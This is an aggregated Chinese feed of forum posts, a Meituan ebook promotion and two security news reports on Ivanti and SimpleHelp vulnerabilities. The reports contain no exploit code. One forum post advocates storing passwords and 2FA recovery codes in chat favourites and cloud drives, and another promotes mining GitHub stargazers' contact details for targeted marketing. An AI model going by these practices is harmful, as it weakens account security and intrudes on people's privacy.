2025年1月16日 23:19

当然 Duolingo 只是一个掺杂了很多游戏元素的教育类应用,但是是不是娱乐性更多一些(比如用背单词升级闯关的 rpg 类游戏),就会被出版署定义为“网络游戏”?我不太清楚这个临界点在哪里,希望有了解的朋友解答一下。感谢!

国家新闻出版署 2009 年通知:网络游戏是指所有通过互联网(包括有线互联网和移动通讯网络等)供公众在线交互使用或提供下载的互联网游戏作品。主要包括但不限于:大型角色扮演类网络游戏(MMORPG)、网页游戏(WebGame)、休闲游戏、单机游戏的网上下载、具有联网功能的游戏、联网的对战游戏平台、手机网络游戏。

大家会利用 Github Star 信息进行推广自己的开源项目吗?效果如何

作者 YuanJiwei
2025年1月16日 22:40

酒香也怕巷子深。很多时候我们程序员写了很有意思的开源项目,却无人问津,无法帮助到需要的人。这时我们可能需要我们去做一些主动推广的工作。当你开发了特别有意思的项目,特别是一下框架库的时候,初期的时候可以找一些潜在用户,尝试主动推广一下。那么如何发现这些潜在用户呢?

通过 Github 项目下的 Star 信息,我们可以发现对于一个特定技术/工具感兴趣的用户,然后找到他们的联系方式进行定向推广。

大家可以看看我的代码提一提建议 https://github.com/jiweiyuan/aiagentcookbook/tree/main/github-marketing

没猜错的话,你在等美团技术年货 | 送10份美团新春礼盒

2025年1月16日 19:58

原创 美团技术团队 2025-01-16 19:58 北京

一本600+页电子书,覆盖算法、工程、测试、安全、数据等多个技术领域。祝大家新春快乐~~

新春将近,一年一度的美团技术年货也如约而至!

路虽远,行则将至;梦虽遥,追则可及。2024年,是美团技术博客走过的第11个年头,这里没有恢弘的叙事,只是年复年、日复日的默默坚持。截至目前,美团技术团队微信公众号累计发布了600多篇技术文章,感谢大家一路同行,见证我们的成长。

值蛇年春节到来之际,我们精选过去一年公众号30多篇技术文章和科研论文,整理制作成一本600多页的电子书,作为一份特别的新年礼物,献给每一位热爱技术的你。

这本电子书内容覆盖算法、工程、测试、安全、数据等多个技术领域,希望能为你的工作和学习带来一些启发与帮助。也欢迎您将这份电子书分享给更多志同道合、积极向上的同事和朋友,一起携手共进,砥砺前行。

在新的一年里,愿大家乘风破浪,勇往直前,历尽千帆,梦想终将实现!

  如何获取? 

温馨提醒:

| 美团技术年货合集大小约为80M,下载需要一定的时间;

| 打开电子书目录后,可直接点击感兴趣的标题进行阅读;

| 部分文章中的动态图片无法在电子书中进行完全的展示,大家可以移步美团技术团队官方博客 tech.meituan.com ,或在美团技术团队公众号历史文章中进行阅读,感谢理解。

 往期年货下载 

在「美团技术团队」微信公众号对话框中回复关键字:【2023年货】、【2022年货】、【2021年货】、【2020年货】、【2019年货】、 【2018年货】、【2017年货】,即可获取往期年货下载链接。

 参与互动 

2025年

你最关注哪些技术前沿的进展?

你最希望看到哪些技术领域的文章?

你对美团技术团队微信公众号有什么建议?

......


欢迎在评论区留言,我们会精选10条反馈和建议,分别送上一份2025美团新春礼盒~

活动截止日期:2025年1月21日12:00

 推荐阅读 

| 2023美团技术年货 | 600+页电子书,前端、后端、算法、测试、运维系列大合集

| 2022美团技术年货来了!1300+页的电子书,涵盖前端、后端、算法、数据、运维、安全

| 2021美团技术年货:1200+页电子书,覆盖前后端、算法、数据、安全、测试、顶会论文

阅读原文

跳转微信打开

百分浏览器和 Catsxp 浏览器的同步功能是怎么实现的?

作者 bzkmsjy
2025年1月16日 19:18

1 、百分浏览器一直可以用谷歌账户同步,但是谷歌不是在 2021 年封了第三方 Chromium 的同步接口吗?

2 、Catsxp 这种 P2P 的同步方式是去中心化的吗?还是作者自己搭建了服务器作为中心?为什么不采用百分浏览器的方案呢?如果是自建服务器不是还要花钱。

因为 Catsxp 最近出了 Mac 版,MacOS 终于也有了类百分浏览器,就是这个同步方式差了点意思,要是能接入谷歌账户多好啊

关于 2FA 和密码

作者 198plus
2025年1月16日 18:55

现在许多网站都要求强密码,2FA 甚至 n-FA ( n factor authentication)。 但是我一直觉得这其实就是安全责任转嫁: 在用了这些措施之后,账号安全性就大大提升了,但是我自己登不上自己的号的概率也大大增加了。

  1. 我不可能记住所有的强密码,甚至 2FA recovery code 都不是我自己能设置的
  2. 我只能把强密码/2FA code 保存在某个地方
  3. 保存在的这个地方也需要一个密码来保护,只要这个密码对应的关卡以某种形式陷入不安全,甚至保存这些密码的地方不安全,那么上面做的所有事情都是徒劳。
  4. 如果我不把这些 code 记在某个地方,如果我手机丢了/换手机忘记迁移/等等情况发生,我立刻就登不上我的所有帐号了。

我自己的解决方案就是放弃保护这些强密码/2fa code 。我现在全部都放在 yuque/网盘/qq 微信的收藏里面,反正我自己的信息也不值钱没人要。

不知道 v 站老哥们怎么看这件事。

谷歌浏览器可以实现有声自动播放视频吗

作者 fengyenobug
2025年1月16日 18:53
谷歌浏览器的 video 标签播放视频,有什么办法可以绕过必须无声才能自动播放的限制吗。尝试过先静音播放,然后通过 js 开启声音,(实现见下方代码)还是失败了。延迟 1 秒的实现在 1 秒内支持播放,到 1 秒的时候直接被停掉了,同时控制台报出警告。官方说的是需要用户互动,有没有大佬做过可以绕过限制的方法。
video.play(); //播放视频
// 1s 后打开声音
setTimeout(() => {
video.muted = false;
video.volume = 0.6;
}, 1000);

Ivanti修复Endpoint Manager中的多个严重漏洞

2025年1月16日 18:39

THN 2025-01-16 18:39 北京

速修复

 聚焦源代码安全,网罗国内外最新资讯!

编译:代码卫士



Ivanti 公司已发布安全更新,修复了影响 Avalanche、Application Control Engine和Endpoint Manager (EPM) 中的多个漏洞,其中的四个严重漏洞可导致信息泄露。


这四个严重漏洞的CVSS评分均为9.8分,位于EPM中,与绝对路径遍历漏洞相关,可导致远程未认证攻击者泄露敏感信息。它们是CVE-2024-10811、CVE-2024-13161、CVE-2024-13160和CVE-2024-13159。

这些漏洞影响EPM 2024年11月安全更新版本以及之前版本,以及2022 SU6 11月安全更新及之前版本。这些漏洞已在EPM 2024年1月—2025年安全更新和EPM 2022 SU6年1月—2025年安全更新中修复。这些漏洞由Horizon3.ai 公司的安全研究员 Zach Hanley发现并报送。

此外,Ivanti 公司还修复了位于Avalanche 6.4.7之前及Application Control Engine 10.14.4.0之前版本中的多个高危漏洞,它们可导致攻击者绕过认证、泄露敏感信息并绕过应用拦截功能。该公司表示并未看到这些漏洞遭在野利用的整局,已增强其内部扫描和测试程序,及时标记并修复安全漏洞。

此前不久,SAP修复了位于NetWeaver ABAP Server和ABAP Platform 中的两个漏洞CVE-2025-0070和CVE-2025-0066(CVSS评分9.9),它们可导致认证攻击者利用认证检查不当漏洞提升权限并利用弱访问控制来访问受限制的信息。SAP在2025年1月的安全通告中提到,“SAP强烈建议客户访问支持门户,优先应用补丁,保护SAP态势安全。”



代码卫士试用地址:https://codesafe.qianxin.com

开源卫士试用地址:https://oss.qianxin.com











推荐阅读

Ivanti提醒注意 Connect Secure 产品中的新0day

Ivanti:注意这个CVSS 满分的认证绕过漏洞

Ivanti 中的3个0day已遭活跃利用

CISA:这个严重的 Ivanti vTM 漏洞已遭利用

CISA 和 Ivanti:Cloud Services Appliance 高危漏洞已遭利用




原文链接

https://thehackernews.com/2025/01/researcher-uncovers-critical-flaws-in.html



题图:Pexels License


本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。




奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错,就点个 “在看” 或 "” 吧~

阅读原文

跳转微信打开

SimpleHelp 多个严重漏洞可导致文件窃取、提权和RCE攻击

2025年1月16日 18:39

THN 2025-01-16 18:39 北京

速更新

 聚焦源代码安全,网罗国内外最新资讯!

编译:代码卫士


网络安全研究人员披露了位于 SimpleHelp 远程访问软件中的多个漏洞,可导致信息暴露、提权和远程代码执行等后果。


Horizon3.ai公司的研究员 Naveen Sunkavally 发布技术报告提到,“这些漏洞易于逆向和利用”。这些漏洞如下:

  • CVE-2024-57727该未认证路径遍历漏洞可导致攻击者从SimpleHelp 服务器下载任意文件,包括 serverconfig.xml 文件。该文件中包含 SimpleHelpAdmin 账户的哈希密码和其它本地技术账号。

  • CVE-2024-57728该任意文件上传漏洞可导致具有 SimpleHelpAdmin 权限(或具有管理员权限的技术人员)的攻击者在 SimpleServer 主机上的任何位置上传任意文件,从而可能导致远程代码执行后果。

  • CVE-2024-57726该提权漏洞可导致作为低权限技术人员获得访问权限,通过利用缺乏后端授权检查,提权至管理员。

在假设的理论攻击场景下,CVE-2024-57726和CVE-2024-57728可被恶意人员组合利用,提权至管理员用户并上传任意payload,控制 SimpleHelp服务器。

研究人员表示,鉴于这些漏洞的严重性及其易利用性,暂时将不会发布漏洞详情。漏洞已在2025年1月6日报送,并在1月8日和1月13日的SimpleHelp 5.3.9、5.4.0和5.5.8中修复。

鉴于威胁行动者们一直利用远程访问工具建立目标环境的持久远程访问权限,因此用户必须更加迅速地应用补丁。另外,SimpleHelp 建议用户修改 SimpleHelp 服务器的管理员密码、修改 Technician 账号的密码并限制能够访问SimpleHelp 服务器的Technician和管理员的IP登录地址。


代码卫士试用地址:https://codesafe.qianxin.com

开源卫士试用地址:https://oss.qianxin.com











推荐阅读

严重的 Aviatrix Controller RCE 漏洞已遭利用

GFI KerioControl 防火墙存在严重的RCE漏洞

联发科芯片集存在严重的RCE漏洞,影响数百万台设备

Apache MINA 存在严重的满分漏洞,可导致RCE

Apache Tomcat 漏洞导致服务器易受RCE攻击




原文链接

https://thehackernews.com/2025/01/critical-simplehelp-flaws-allow-file.htm


题图:Pexels License


本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。




奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错,就点个 “在看” 或 "” 吧~

阅读原文

跳转微信打开

❌
❌